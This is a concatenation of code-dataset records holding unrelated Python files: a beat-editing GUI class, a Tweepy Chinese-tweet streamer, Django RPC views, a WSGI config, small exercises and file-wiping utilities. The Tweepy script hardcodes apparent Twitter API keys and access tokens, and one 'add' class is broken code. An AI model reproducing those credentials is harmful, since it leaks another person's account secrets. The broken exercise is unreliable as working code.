_setFrameOffset(self, value):\n self.widget.frame_offset = value;\n # \n\n def run(self, local_saliency=None, frame_rate = None, eventlist = 'default', frame_offset=None):\n if(frame_rate is None):\n # self.widget.frame_rate = float(self.getMedia().getFrameRate());\n self.frame_rate = self.media._getFrameRate();\n else:\n # self.widget.frame_rate = float(frame_rate);\n self.frame_rate = frame_rate;\n\n if(local_saliency is None):\n self.widget.signal = self.media.getLocalRhythmicSaliency().tolist();\n # self.widget.signal = self.getBothWayVisualImpactEnvelope(highpass_window_seconds=None, force_recompute = True).tolist();\n else:\n self.widget.signal = local_saliency.tolist();\n\n if(frame_offset is None):\n self.frame_offset = 0;\n elif(frame_offset is 'guess'):\n self.frame_offset = self.guessFrameOffset();\n else:\n self.frame_offset = frame_offset;\n\n if(eventlist is None):\n self.widget.events = [];\n elif(eventlist == 'default'):\n self.widget.events = EventList._toGUIDicts(self.media.getEventList());\n else:\n self.widget.events = EventList._toGUIDicts(eventlist);\n self.widget.data_string = self.media.getStringForHTMLStreamingBase64();\n return self.widget;\n\n\n def guessFrameOffset(self):\n if(isinstance(self.media, Video)):\n return self.media.reader.get_length() - self.media.n_frames();\n else:\n return 0;\n\n\n def deactivateAllEvents(self):\n newes = []\n gevents = self.getEventDicts();\n for e in gevents:\n newe = e;\n newe['is_active']=0;\n newes.append(newe);\n self.widget.events = [];\n self.widget.events = newes;\n\n def activateAllEvents(self):\n newes = []\n gevents = self.getEventDicts();\n for e in gevents:\n newe = e;\n newe['is_active'] = 1;\n newes.append(newe);\n self.widget.events = [];\n self.widget.events = newes;\n\n def activatePattern(self, pattern=None, prefix=None, apply_to_active=None):\n assert(pattern), \"must provide pattern to activate\"\n newes = []\n gevents = self.getGUIEventDicts();\n counter = 0;\n prefix_length = 0;\n if(prefix_length is not None):\n prefix_length = len(prefix);\n for i, e in enumerate(gevents):\n if (apply_to_active):\n if (e.get('is_active')):\n if (counter < prefix_length):\n e['is_active']=prefix[counter];\n else:\n e['is_active'] = pattern[(counter - prefix_length) % len(pattern)];\n counter = counter + 1;\n else:\n print(\"Skipping beat {}, inactive\".format(i));\n else:\n if (i < prefix_length):\n e['is_active'] = prefix[i];\n else:\n e['is_active'] = pattern[(i - prefix_length) % len(pattern)];\n newes.append(e);\n\n self.widget.events = [];\n self.widget.events = newes;\n\n\n def shiftEventsByNFrames(self, n_frames=None):\n assert(n_frames), \"must provide number of frames to shift by\"\n newes = []\n gevents = self.getEventDicts();\n sample_step = np.true_divide(1.0,self.getFrameRate());\n for e in gevents:\n newe = e;\n newe['start'] = newe['start']+n_frames*sample_step;\n newes.append(newe);\n self.widget.events = [];\n self.widget.events = newes;\n\n\n def getActiveEventTimes(self):\n gevents = self.getEventDicts(active_only=True);\n revents = []\n for e in gevents:\n revents.append(e.get('time'));\n return np.asarray(revents);\n\n def getEventTimes(self):\n gevents = self.getEventDicts();\n revents = []\n for e in gevents:\n revents.append(e.t);\n return np.asarray(revents);\n\n def getEvents(self, active_only=None):\n return Event._FromGUIDicts(self.getEventDicts(active_only = active_only));\n\n def getEventList(self, active_only=None):\n elist = EventList._FromGUIDicts(self.getEventDicts(active_only=active_only));\n elist.setInfo(label='html_frame_offset', value=self.getFrameOffset());\n return elist;\n\n def getActiveEvents(self):\n return self.getEvents(active_only=True);\n\n def getEventDicts(self, active_only = None):\n gevents = self.widget.events[:];\n if(not active_only):\n return gevents;\n else:\n nevents = []\n for e in gevents:\n if(e.get('is_active')):\n nevents.append(e);\n return nevents;\n\n def saveEvents(self, save_path = None):\n elist = self.getEventList(active_only=False);\n if(save_path is not None):\n elist.writeToJSON(json_path=save_path);\n self.widget.last_save_path = save_path;\n else:\n save_path = self.widget.last_save_path;\n if(save_path is None):\n save_path = uiGetSaveFilePath(file_extension='.json');\n if(save_path is not None):\n elist.writeToJSON(json_path=save_path);\n self.widget.last_save_path = save_path;\n\n def saveEventsAs(self, save_path = None):\n elist = self.getEventList(active_only=False);\n if (save_path is not None):\n elist.writeToJSON(json_path=save_path);\n self.widget.last_save_path = save_path;\n print('savepath not none {}'.format(save_path))\n else:\n save_path = uiGetSaveFilePath(file_extension='.json');\n print('savepath from ui {}'.format(save_path))\n if (save_path is not None):\n print('save path from ui {}'.format(save_path));\n elist.writeToJSON(json_path=save_path);\n self.widget.last_save_path = save_path;\n print(save_path)\n\n def setEvents(self, events):\n self.widget.events = Event._ToGUIDicts(events);\n\n def setEventList(self, event_list):\n if(event_list.getInfo('html_frame_offset') is not None):\n self.widget.frame_offset = event_list.getInfo('html_frame_offset');\n self.widget.events = event_list._toGUIDicts();\n\n\n def loadEvents(self, load_path = None):\n if(load_path is None):\n load_path = uiGetFilePath();\n elist = EventList();\n elist.loadFromJSON(json_path=load_path);\n self.setEventList(event_list = elist);\n\n\n\n def getEventListWithSelectedSegments(self):\n eventlist = self.getEventList();\n events = eventlist.events;\n segments = [];\n for i, e in enumerate(events):\n if(e.direction>-1): # meaning not a back beat\n newseg = [];\n for si in range(i, len(events)):\n newseg.append(si);\n if(events[si].direction<0): # meaning a back beat\n break;\n segments.append(newseg);\n eventlist.setInfo(label='selected_segments', value=segments);\n return eventlist;\n\n\n\n\n\n","sub_path":"vbgui/BeatGUI.py","file_name":"BeatGUI.py","file_ext":"py","file_size_in_byte":10447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"627228235","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\t@\n @Description: This python script can be used to search \n @ Chinese(and other none English) chracters \n @\t\t\t\tfrom Twitter Stream API \n @\n @Author: Joe Chen\n @Last modified: 02/21/2015 \n\"\"\"\nfrom __future__ import absolute_import, print_function\n\nfrom tweepy.streaming import StreamListener\nfrom tweepy import OAuthHandler\nfrom tweepy import Stream\nimport json\n\n\n# Go to http://apps.twitter.com and create an app.\n# The consumer key and secret will be generated for you after\nconsumer_key=\"CuyDAqUbCTF6y6k6mcoGF8owZ\"\nconsumer_secret=\"OucJJMnHbYCVNKNgyEJSNBMWBXapwSGuwy1Xc28mXR5vLixrNQ\"\n\n# After the step above, you will be redirected to your app's page.\n# Create an access token under the the \"Your access token\" section\naccess_token=\"1979279791-8qRguXNd21mgHR8khU9hg8rcyXkHHSE65tkwFlv\"\naccess_token_secret=\"HIR4DQEyHVPrvXm2XNsTToVcgIgxWM2WR2eOoaY1iJV6R\"\n\n\nclass StdOutListener(StreamListener):\n\t\"\"\" A listener handles tweets are the received from the stream.\n\tThis is a basic listener that just prints received tweets to stdout.\n\t\"\"\"\n\tdef on_data(self, data):\n\n\t\tdata_string = json.loads(data) # convert unicode type to a dict type\n\n\t\t\"\"\" \n\t\t\tI got many tweets in Japanese because Japanese and \n\t\t\tChinese share many characters. To avoid this problem, \n\t\t\tthe data is only printed if the language used is Chinese.\n\n\t\t\tOne CAVEAT: For some reasons, it's very slow to get new Chinese tweets.\n\t\t\"\"\"\n\t\tprint (data_string[\"lang\"])\n\t\tif (data_string[\"lang\"] == u\"zh\"):\t\t\t\t\n\t\t\tprint (data_string[\"text\"].encode('utf-8', 'ignore')) # extract the text\n\t\t#print(data[\"text\"])\n\t\treturn True\n\t\t#exit() \n\n\tdef on_error(self, status):\n\t\tprint(status)\n\nif __name__ == '__main__':\n\n\tl = StdOutListener()\n\tauth = OAuthHandler(consumer_key, consumer_secret)\n\tauth.set_access_token(access_token, access_token_secret)\n\n\tstream = Stream(auth, l)\n\n\t\"\"\" \n\t\tThe unicode of each Chinese character is found on this website:\n\n\t\thttp://pages.ucsd.edu/~dkjordan/resources/unicodemaker.html\n\n\t\tIn the example, \\u4e16\\u754c means 'world' \\u9999\\u6e2f means Hong Kong \n\t\t\n\t\tThe first u in the variable 'keyword' means the string followed is represented\n\t\tas a unicode.\n\n\t\tUnicode can be regarded as a large table mapping characters to numbers.\n\t\"\"\"\n\t#keyword = u'\\u4e16\\u754c'\n\tkeyword = u'\\u9999\\u6e2f' \n\tprint (keyword.encode('utf-8')) # specify how those characters are encoded as bits\n\tstream.filter(track=[keyword])\n\n","sub_path":"tweet_stream_Chinese.py","file_name":"tweet_stream_Chinese.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"433755721","text":"# coding: utf-8\n\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.http.response import HttpResponse, HttpResponseForbidden\nfrom django.utils.decorators import method_decorator\nfrom django.utils.module_loading import import_string\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic.base import TemplateView\n\nfrom modernrpc.conf import settings, get_modernrpc_logger\nfrom modernrpc.core import ALL, get_method, get_all_methods, REQUEST_KEY, ENTRY_POINT_KEY, PROTOCOL_KEY, HANDLER_KEY\nfrom modernrpc.exceptions import RPCInternalError, RPCException, RPCUnknownMethod, RPCInvalidParams\n\nlogger = get_modernrpc_logger(__name__)\n\n\nclass RPCEntryPoint(TemplateView):\n \"\"\"\n This is the main entry point class. It inherits standard Django View class.\n \"\"\"\n\n template_name = 'modernrpc/doc_index.html'\n\n entry_point = settings.MODERNRPC_DEFAULT_ENTRYPOINT_NAME\n protocol = ALL\n enable_doc = False\n enable_rpc = True\n\n def __init__(self, **kwargs):\n super(RPCEntryPoint, self).__init__(**kwargs)\n\n if not self.get_handler_classes():\n raise ImproperlyConfigured(\"At least 1 handler must be instantiated.\")\n logger.debug('RPC entry point \"{}\" initialized'.format(self.entry_point))\n\n # This disable CSRF validation for POST requests\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n \"\"\"Overrides the default dispatch method, for 2 reasons:\n 1. Filter input requests methods to respect ``enable_doc`` and ``enable_rpc`` parameters\n 2. Disable CSRF validation on post request, since this is irrelevant for RPC calls.\n \"\"\"\n\n if request.method.lower() == 'get' and not self.enable_doc:\n return self.http_method_not_allowed(request, *args, **kwargs)\n elif request.method.lower() == 'post' and not self.enable_rpc:\n return self.http_method_not_allowed(request, *args, **kwargs)\n\n return super(RPCEntryPoint, self).dispatch(request, *args, **kwargs)\n\n def _allowed_methods(self):\n allowed_methods = super(RPCEntryPoint, self)._allowed_methods()\n if not self.enable_doc:\n allowed_methods.remove('GET')\n if not self.enable_rpc:\n allowed_methods.remove('POST')\n return allowed_methods\n\n def get_handler_classes(self):\n\n handler_classes = [import_string(handler_cls) for handler_cls in settings.MODERNRPC_HANDLERS]\n if self.protocol == ALL:\n return handler_classes\n else:\n valid_protocols = self.protocol if isinstance(self.protocol, list) else [self.protocol]\n return [cls for cls in handler_classes if cls.protocol in valid_protocols]\n\n def post(self, request, *args, **kwargs):\n \"\"\"\n Handle a XML-RPC or JSON-RPC request.\n\n :param request: Incoming request\n :param args: Additional arguments\n :param kwargs: Additional named arguments\n :return: A HttpResponse containing XML-RPC or JSON-RPC response, depending on the incoming request\n \"\"\"\n\n logger.debug('RPC request received on entry point \"{}\"'.format(self.entry_point))\n\n for handler_cls in self.get_handler_classes():\n\n handler = handler_cls(request, self.entry_point)\n\n try:\n if not handler.can_handle():\n continue\n\n logger.debug('Request will be handled by {}'.format(handler_cls.__name__))\n\n method, params = handler.parse_request()\n rpc_method = get_method(method, self.entry_point, handler_cls.protocol)\n\n if not rpc_method:\n logger.warning('Unknown RPC method: {}'.format(method))\n raise RPCUnknownMethod(method)\n\n logger.debug('Check authentication / permissions for method {} and user {}'\n .format(method, request.user))\n\n if not rpc_method.check_permissions(request):\n logger.info('Call to {} disallowed by authentication system.'.format(method))\n return handler.result_error(RPCInternalError('Invalid authentication'), HttpResponseForbidden)\n\n logger.debug('RPC method {} will be executed'.format(method))\n\n try:\n # If the RPC method needs to access some internals:\n kwargs = {\n REQUEST_KEY: request,\n ENTRY_POINT_KEY: self.entry_point,\n PROTOCOL_KEY: self.protocol,\n HANDLER_KEY: handler,\n }\n\n # Call the python function associated with the RPC method name\n result = rpc_method.execute(*params, **kwargs)\n\n except TypeError as e:\n # If given arguments cannot be transmitted properly to python function,\n # raise an Invalid Params exceptions\n raise RPCInvalidParams(str(e))\n\n return handler.result_success(result)\n\n except RPCException as e:\n logger.warning('RPC exception raised: {}'.format(str(e)))\n return handler.result_error(e)\n\n except Exception as e:\n logger.error('Exception raised from an RPC method: {}'.format(str(e)))\n return handler.result_error(RPCInternalError(str(e)))\n\n logger.error('Received a request impossible to handle with available handlers.')\n\n return HttpResponse('Unable to handle your request. Please ensure you called the right entry point. If not, '\n 'this could be a server error.')\n\n def get_context_data(self, **kwargs):\n \"\"\"Update context data with list of RPC methods of the current entry point.\n Will be used to display methods documentation page\"\"\"\n ctx = super(RPCEntryPoint, self).get_context_data(**kwargs)\n ctx.update({\n 'methods': get_all_methods(self.entry_point, sort_methods=True),\n })\n return ctx\n","sub_path":"modernrpc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"125454822","text":"class add:\n \"This is class add\"\n def _init_(self,num,num_add):\n \"This is self class\"\n self.num=num\n self.num_add=num_add\n\n def addsum(self,num,num_add):\n \"This is addsum class\"\n num=input(\"ENter the number of numbers you wish to add:\")\n while(i>num):\n x[i]=input(\"Enter the number\")\n ++i\n\n for i in range(0,num,1):\n sum+=x[i]\n\n print(\"The sum of the numbers are:%d\"%sum)\na=add()\na.addsum()\n","sub_path":"Python/Progs/classadd.py","file_name":"classadd.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"173521751","text":"\"\"\"\nWSGI config for drchrono project.\n\nIt exposes the WSGI callable as a module-level variable named ``application``.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/\n\"\"\"\n\nimport os, sys\n\n# these changes come from\n# https://stackoverflow.com/questions/14927345/importerror-no-module-named-django-core-wsgi-apache-virtualenv-aws-wsgi\n# add the hellodjango project path into the sys.path\n# they are here to get around an error that comes up when running with apache2\n# ImportError: No module named django.core.wsgi\nsys.path.append('/srv/raiddisk/dev/pydev/drc2/drchrono')\n\n# add the virtualenv site-packages path to the sys.path\nsys.path.append('/srv/raiddisk/dev/pydev/drc2/venv/lib/python3.5/site-packages')\n\n# end changes\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"drchrono.settings\")\n\n# turn on https per instructions at https://www.pdxpixel.com/blog/2014/02/04/setting-up-django-site-ssl-apache-mod_wsgi-mod_ssl/\n# settings.py changed also\nos.environ['HTTPS'] = \"on\"\n\n\nfrom django.core.wsgi import get_wsgi_application\napplication = get_wsgi_application()\n","sub_path":"drchrono/wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"392546909","text":"from math import ceil\r\nn =int(input())\r\nl = []\r\nfor i in range(2, ceil(n/2)+1):\r\n if n%(2*i-1)==0 or (n-i)% (2*i-1)==0:\r\n l.append([i, i-1])\r\n if n % i == 0:\r\n l.append([i,i])\r\nprint(str(n)+':')\r\nfor i,j in l:\r\n print(str(i)+','+str(j))\r\n","sub_path":"stararrangements.py","file_name":"stararrangements.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"393655031","text":"class Fizzbuzz:\n\tdef __init__(self, n):\n\t\tself.n = n\n\n\tdef fizzbuzz(n):\n\t\tfor i in range(1, n):\n\t\t\tif i % 3 == 0 and i % 5 == 0:\n\t\t\t\tprint('{}-FizzBuzz'.format(i))\n\t\t\telif i % 3 == 0:\n\t\t\t\tprint('{}-Fizz'.format(i))\n\t\t\telif i % 5 == 0:\n\t\t\t\tprint('{}-Buzz'.format(i))\n\t\t\telse:\n\t\t\t\tprint(i)\n\nfb = Fizzbuzz.fizzbuzz(100)\nprint(fb)","sub_path":"fizzbuzz_class.py","file_name":"fizzbuzz_class.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"132783749","text":"from utils import common\nimport os, sys, re, shutil, stat, hashlib\n\nif 'nt' == os.name:\n\tfrom pywintypes import error as pywinerror\n\timport win32file\n\nif 'posix' == os.name:\n\tfrom core.exceptions import WindowsError\n\tpywinerror = WindowsError\n\ndef listdir(directory):\n\t\"\"\"Return full path of files in directory.\n\n\tPath may be a tuple of directories.\"\"\"\n\n\tif type(directory) is tuple:\n\t\tfor dirname in directory:\n\t\t\tfor pathname in listdir(dirname):\n\t\t\t\tyield pathname\n\t\treturn\n\n\tdirname = common.expanduser(directory)\n\n\tif not os.path.lexists(dirname):\n\t\treturn\n\n\tfor filename in os.listdir(dirname):\n\t\tyield os.path.join(dirname, filename)\n\ndef check_abspath_writable(path):\n\tif not os.access(path, os.W_OK):\n\t\treturn False\n\n\treturn True\n\ndef check_abspath_readable(path, recursive = False):\n\tif recursive and os.path.isdir(path):\n\t\tfor root, dirs, files in os.walk(path):\n\t\t\tfor item in dirs:\n\t\t\t\titem = os.path.join(root, item)\n\n\t\t\t\tif not os.access(item, os.R_OK):\n\t\t\t\t\treturn False, item\n\n\t\t\tfor item in files:\n\t\t\t\titem = os.path.join(root, item)\n\n\t\t\t\tif not os.access(item, os.R_OK):\n\t\t\t\t\treturn False, item\n\n\t\treturn True, \"\"\n\n\tif not os.access(path, os.R_OK):\n\t\treturn False, path\n\n\treturn True, \"\"\n\ndef check_file_exists(path):\n\tfor i in path:\n\t\tif os.path.exists(i):\n\t\t\treturn True\n\n\treturn False\n\ndef get_directory_size(start_path = '.'):\n\ttotal_size = 0\n\n\tfor dirpath, dirnames, filenames in os.walk(start_path):\n\t\tfor f in filenames:\n\t\t\tfp = os.path.join(dirpath, f)\n\t\t\ttotal_size += os.path.getsize(fp)\n\n\treturn total_size\n\ndef cat(path, mode = \"rb\"):\n\tdata = \"\"\n\n\ttry:\n\t\tif os.path.exists(path):\n\t\t\twith open(path, mode) as fin:\n\t\t\t\tdata = fin.read()\n\texcept Exception as e:\n\t\tdata = \"\"\n\n\treturn data\n\ndef cat_lines(path, mode = \"rb\"):\n\tlines = []\n\n\ttry:\n\t\tif os.path.exists(path):\n\t\t\twith open(path, mode) as f:\n\t\t\t\tlines = f.readlines()\n\texcept Exception as e:\n\t\tlines = []\n\n\treturn lines\n\ndef rm(path):\n\ttry:\n\t\tif os.path.isdir(path):\n\t\t\tshutil.rmtree(path)\n\t\telse:\n\t\t\tos.remove(path)\n\n\t\treturn \"\"\n\texcept Exception as e:\n\t\treturn to_ts(str(e))\n\ndef enum_file_path(path, result):\n\tif os.path.isdir(path):\n\n\t\ttry:\n\t\t\tfiles = os.listdir(path)\n\t\t\tresult.append(path)\n\t\texcept Exception as e:\n\t\t\tfiles = []\n\n\t\tfor file in files:\n\t\t\tabspath = os.sep.join([path, file])\n\n\t\t\tif os.path.isdir(abspath):\n\t\t\t\tenum_file_path(abspath, result)\n\t\t\telse:\n\t\t\t\tresult.append(abspath)\n\telse:\n\t\tresult.append(path)\n\ndef identifytype(path):\n\tmine = \"Dir\"\n\n\tif os.path.isfile(path):\n\t\ttry:\n\t\t\timport magic\n\t\t\tmine = magic.from_file(path, mime = True)\n\t\t\tmine = mine if mine else \"Unknown\"\n\t\texcept Exception as e:\n\t\t\tmine = \"File\"\n\n\treturn mine\n\ndef mode_to_letter(mode):\n\tif stat.S_ISDIR(mode):\n\t\treturn 'DIR'\n\telif stat.S_ISBLK(mode):\n\t\treturn 'BLK'\n\telif stat.S_ISCHR(mode):\n\t\treturn 'CHR'\n\telif stat.S_ISFIFO(mode):\n\t\treturn 'FIFO'\n\telif stat.S_ISSOCK(mode):\n\t\treturn 'SOCK'\n\telif stat.S_ISLNK(mode):\n\t\treturn 'LNK'\n\telse:\n\t\treturn ''\n\ndef delete_locked_file(pathname):\n\t\"\"\"Delete a file that is currently in use\"\"\"\n\tif common.is_windows():\n\t\tfrom ctypes import windll, c_ulong, c_buffer, byref, sizeof\n\n\t\tif os.path.exists(pathname):\n\t\t\tMOVEFILE_DELAY_UNTIL_REBOOT = 4\n\t\t\tif 0 == windll.kernel32.MoveFileExW(pathname, None, MOVEFILE_DELAY_UNTIL_REBOOT):\n\t\t\t\tfrom ctypes import WinError\n\t\t\t\traise WinError()\n\ndef delete(path, shred = False, ignore_missing = False, allow_shred = True):\n\t\"\"\"Delete path that is either file, directory, link or FIFO.\n\n\t If shred is enabled as a function parameter or the BleachBit global\n\t parameter, the path will be shredded unless allow_shred = False.\n\t\"\"\"\n\tis_special = False\n\tpath = extended_path(path)\n\n\tif not os.path.lexists(path):\n\t\tif ignore_missing:\n\t\t\treturn\n\n\t\traise OSError(2, 'No such file or directory', path)\n\n\tif 'posix' == os.name:\n\t\t# With certain (relatively rare) files on Windows os.lstat()\n\t\t# may return Access Denied\n\t\tmode = os.lstat(path)[stat.ST_MODE]\n\t\tis_special = stat.S_ISFIFO(mode) or stat.S_ISLNK(mode)\n\n\tif is_special:\n\t\tos.remove(path)\n\telif os.path.isdir(path):\n\t\tdelpath = path\n\n\t\tif allow_shred and shred:\n\t\t\tdelpath = wipe_name(path)\n\n\t\tshutil.rmtree(delpath)\n\n\telif os.path.isfile(path):\n\t\t# wipe contents\n\t\tif allow_shred and shred:\n\t\t\ttry:\n\t\t\t\twipe_contents(path)\n\t\t\texcept pywinerror as e:\n\t\t\t\t# 2 = The system cannot find the file specified.\n\t\t\t\t# This can happen with a broken symlink\n\t\t\t\t# https://github.com/bleachbit/bleachbit/issues/195\n\t\t\t\tif 2 != e.winerror:\n\t\t\t\t\traise\n\t\t\t\t# If a broken symlink, try os.remove() below.\n\t\t\texcept IOError as e:\n\t\t\t\t# permission denied (13) happens shredding MSIE 8 on Windows 7\n\t\t\t\tprint(__name__, \"IOError #%s shredding '%s'\", e.errno, path)\n\t\t\t# wipe name\n\t\t\tos.chmod(path, stat.S_IWRITE)\n\t\t\tos.remove(wipe_name(path))\n\t\telse:\n\t\t\t# unlink\n\t\t\tos.chmod(path, stat.S_IWRITE)\n\t\t\tos.remove(path)\n\telse:\n\t\traise \"special file type cannot be deleted: {}\".format(path)\n\ndef children_in_directory(top, list_directories=False):\n\t\"\"\"Iterate files and, optionally, subdirectories in directory\"\"\"\n\tif type(top) is tuple:\n\t\tfor top_ in top:\n\t\t\tfor pathname in children_in_directory(top_, list_directories):\n\t\t\t\tyield pathname\n\t\treturn\n\n\tfor (dirpath, dirnames, filenames) in os.walk(top, topdown=False):\n\t\tif list_directories:\n\t\t\tfor dirname in dirnames:\n\t\t\t\tyield os.path.join(dirpath, dirname)\n\n\t\tfor filename in filenames:\n\t\t\tyield os.path.join(dirpath, filename)\n\ndef getsize(path):\n\t\"\"\"Return the actual file size considering spare files\n\t and symlinks\"\"\"\n\tif 'posix' == os.name:\n\t\ttry:\n\t\t\t__stat = os.lstat(path)\n\t\texcept OSError as e:\n\t\t\t# OSError: [Errno 13] Permission denied\n\t\t\t# can happen when a regular user is trying to find the size of /var/log/hp/tmp\n\t\t\t# where /var/log/hp is 0774 and /var/log/hp/tmp is 1774\n\t\t\tif errno.EACCES == e.errno:\n\t\t\t\treturn 0\n\t\t\traise\n\t\treturn __stat.st_blocks * 512\n\n\tif 'nt' == os.name:\n\t\timport win32file\n\t\t# On rare files os.path.getsize() returns access denied, so first\n\t\t# try FindFilesW.\n\t\t# Also, apply prefix to use extended-length paths to support longer\n\t\t# filenames.\n\t\tfinddata = win32file.FindFilesW(extended_path(path))\n\t\tif not finddata:\n\t\t\t# FindFilesW does not work for directories, so fall back to\n\t\t\t# getsize()\n\t\t\treturn os.path.getsize(path)\n\t\telse:\n\t\t\tsize = (finddata[0][4] * (0xffffffff + 1)) + finddata[0][5]\n\t\t\treturn size\n\n\treturn os.path.getsize(path)\n\ndef getsizedir(path):\n\t\"\"\"Return the size of the contents of a directory\"\"\"\n\ttotal_bytes = 0\n\tfor node in children_in_directory(path, list_directories=False):\n\t\ttotal_bytes += getsize(node)\n\treturn total_bytes\n\ndef clean_json(path, target):\n\t\"\"\"Delete key in the JSON file\"\"\"\n\timport json\n\tchanged = False\n\ttargets = target.split('/')\n\n\t# read file to parser\n\tjs = json.load(open(path, 'r'))\n\n\t# change file\n\tpos = js\n\twhile True:\n\t\tnew_target = targets.pop(0)\n\t\tif not isinstance(pos, dict):\n\t\t\tbreak\n\t\tif new_target in pos and len(targets) > 0:\n\t\t\t# descend\n\t\t\tpos = pos[new_target]\n\t\telif new_target in pos:\n\t\t\t# delete terminal target\n\t\t\tchanged = True\n\t\t\tdel(pos[new_target])\n\t\telse:\n\t\t\t# target not found\n\t\t\tbreak\n\t\tif 0 == len(targets):\n\t\t\t# target not found\n\t\t\tbreak\n\n\tif changed:\n\t\tfrom bleachbit.Options import options\n\t\tif options.get('shred'):\n\t\t\tdelete(path, True)\n\t\t# write file\n\t\tjson.dump(js, open(path, 'w'))\n\ndef clean_ini(path, section, parameter):\n\t\"\"\"Delete sections and parameters (aka option) in the file\"\"\"\n\n\t# read file to parser\n\tconfig = bleachbit.RawConfigParser()\n\tfp = codecs.open(path, 'r', encoding='utf_8_sig')\n\tconfig.readfp(fp)\n\n\t# change file\n\tchanged = False\n\tif config.has_section(section):\n\t\tif parameter is None:\n\t\t\tchanged = True\n\t\t\tconfig.remove_section(section)\n\t\telif config.has_option(section, parameter):\n\t\t\tchanged = True\n\t\t\tconfig.remove_option(section, parameter)\n\n\t# write file\n\tif changed:\n\t\tfrom bleachbit.Options import options\n\t\tfp.close()\n\t\tif options.get('shred'):\n\t\t\tdelete(path, True)\n\t\tfp = codecs.open(path, 'wb', encoding='utf_8')\n\t\tconfig.write(fp)\n\ndef extended_path(path):\n\t\"\"\"If applicable, return the extended Windows pathname\"\"\"\n\tif 'nt' == os.name:\n\t\tif path.startswith(r'\\\\?'):\n\t\t\treturn path\n\t\tif path.startswith(r'\\\\'):\n\t\t\treturn '\\\\\\\\?\\\\unc\\\\' + path[2:]\n\t\treturn '\\\\\\\\?\\\\' + path\n\treturn path\n\ndef wipe_name(pathname1):\n\t\"\"\"Wipe the original filename and return the new pathname\"\"\"\n\t(head, _) = os.path.split(pathname1)\n\t# reference http://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits\n\tmaxlen = 226\n\t# first, rename to a long name\n\ti = 0\n\twhile True:\n\t\ttry:\n\t\t\tpathname2 = os.path.join(head, __random_string(maxlen))\n\t\t\tos.rename(pathname1, pathname2)\n\t\t\tbreak\n\t\texcept OSError:\n\t\t\tif maxlen > 10:\n\t\t\t\tmaxlen -= 10\n\t\t\ti += 1\n\t\t\tif i > 100:\n\t\t\t\tprint('exhausted long rename: %s', pathname1)\n\t\t\t\tpathname2 = pathname1\n\t\t\t\tbreak\n\t# finally, rename to a short name\n\ti = 0\n\twhile True:\n\t\ttry:\n\t\t\tpathname3 = os.path.join(head, __random_string(i + 1))\n\t\t\tos.rename(pathname2, pathname3)\n\t\t\tbreak\n\t\texcept:\n\t\t\ti += 1\n\t\t\tif i > 100:\n\t\t\t\tprint('exhausted short rename: %s', pathname2)\n\t\t\t\tpathname3 = pathname2\n\t\t\t\tbreak\n\treturn pathname3\n\ndef wipe_contents(path, truncate=True):\n\t\"\"\"Wipe files contents\n\n\thttp://en.wikipedia.org/wiki/Data_remanence\n\t2006 NIST Special Publication 800-88 (p. 7): \"Studies have\n\tshown that most of today's media can be effectively cleared\n\tby one overwrite\"\n\t\"\"\"\n\n\tdef wipe_write():\n\t\tsize = getsize(path)\n\t\ttry:\n\t\t\tf = open(path, 'wb')\n\t\texcept IOError as e:\n\t\t\tif e.errno == errno.EACCES: # permission denied\n\t\t\t\tos.chmod(path, 0o200) # user write only\n\t\t\t\tf = open(path, 'wb')\n\t\t\telse:\n\t\t\t\traise\n\t\tblanks = chr(0) * 4096\n\t\twhile size > 0:\n\t\t\tf.write(blanks)\n\t\t\tsize -= 4096\n\t\tf.flush() # flush to OS buffer\n\t\tos.fsync(f.fileno()) # force write to disk\n\t\treturn f\n\n\tif 'nt' == os.name:\n\t\tfrom win32com.shell.shell import IsUserAnAdmin\n\n\tif 'nt' == os.name and IsUserAnAdmin():\n\t\tfrom bleachbit.WindowsWipe import file_wipe, UnsupportedFileSystemError\n\t\timport warnings\n\t\tfrom bleachbit import _\n\t\ttry:\n\t\t\tfile_wipe(path)\n\t\texcept pywinerror as e:\n\t\t\t# 32=The process cannot access the file because it is being used by another process.\n\t\t\t# 33=The process cannot access the file because another process has\n\t\t\t# locked a portion of the file.\n\t\t\tif not e.winerror in (32, 33):\n\t\t\t\t# handle only locking errors\n\t\t\t\traise\n\t\t\t# Try to truncate the file. This makes the behavior consistent\n\t\t\t# with Linux and with Windows when IsUserAdmin=False.\n\t\t\ttry:\n\t\t\t\twith open(path, 'wb') as f:\n\t\t\t\t\ttruncate_f(f)\n\t\t\texcept IOError as e2:\n\t\t\t\tif errno.EACCES == e2.errno:\n\t\t\t\t\t# Common when the file is locked\n\t\t\t\t\t# Errno 13 Permission Denied\n\t\t\t\t\tpass\n\t\t\t# translate exception to mark file to deletion in Command.py\n\t\t\traise WindowsError(e.winerror, e.strerror)\n\t\texcept UnsupportedFileSystemError as e:\n\t\t\twarnings.warn(\n\t\t\t\t_('There was at least one file on a file system that does not support advanced overwriting.'), UserWarning)\n\t\t\tf = open(path, 'wb')\n\t\telse:\n\t\t\t# The wipe succeed, so prepare to truncate.\n\t\t\tf = open(path, 'wb')\n\telse:\n\t\tf = wipe_write()\n\tif truncate:\n\t\ttruncate_f(f)\n\tf.close()\n\n\ndef wipe_name(pathname1):\n\t\"\"\"Wipe the original 